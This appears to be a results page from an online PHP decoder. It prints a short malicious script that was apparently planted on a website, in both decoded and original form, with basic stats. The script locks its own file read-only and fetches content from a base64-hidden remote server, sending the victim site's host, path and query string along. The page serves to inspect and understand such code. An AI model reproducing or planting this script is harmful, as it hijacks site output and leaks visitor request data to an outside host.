Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php set_time_limit(0); $url1 = $_SERVER['PHP_SELF']; $name= substr($url1 ,strrpos($..
Decoded Output download
<?php
set_time_limit(0);
$url1 = $_SERVER['PHP_SELF'];
$name= substr($url1 ,strrpos($url1 ,'/')+1 );
chmod($name,0444);
header("Content-Type: text/html;charset=gb2312");
date_default_timezone_set('PRC');
$a = base64_decode("aHR0cDovLzQ1LjE5OS4xMTMuMjk6ODAzL2ExMTEv");
$b = base64_decode("aHR0cDovLw==") . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'];
$c = file_get_contents($a . base64_decode("L2luZGV4LnBocD9ob3N0PQ==") . $b . "&url=" . $_SERVER['QUERY_STRING'] . "&domain=" . $_SERVER['SERVER_NAME']);
echo $c;
?>
Did this file decode correctly?
Original Code
<?php
set_time_limit(0);
$url1 = $_SERVER['PHP_SELF'];
$name= substr($url1 ,strrpos($url1 ,'/')+1 );
chmod($name,0444);
header("Content-Type: text/html;charset=gb2312");
date_default_timezone_set('PRC');
$a = base64_decode("aHR0cDovLzQ1LjE5OS4xMTMuMjk6ODAzL2ExMTEv");
$b = base64_decode("aHR0cDovLw==") . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'];
$c = file_get_contents($a . base64_decode("L2luZGV4LnBocD9ob3N0PQ==") . $b . "&url=" . $_SERVER['QUERY_STRING'] . "&domain=" . $_SERVER['SERVER_NAME']);
echo $c;
?>
Function Calls
| strrpos | 1 |
| set_time_limit | 1 |
Stats
| MD5 | 491084e4dd9397fa40b1bf3fe30a7dd3 |
| Eval Count | 0 |
| Decode Time | 89 ms |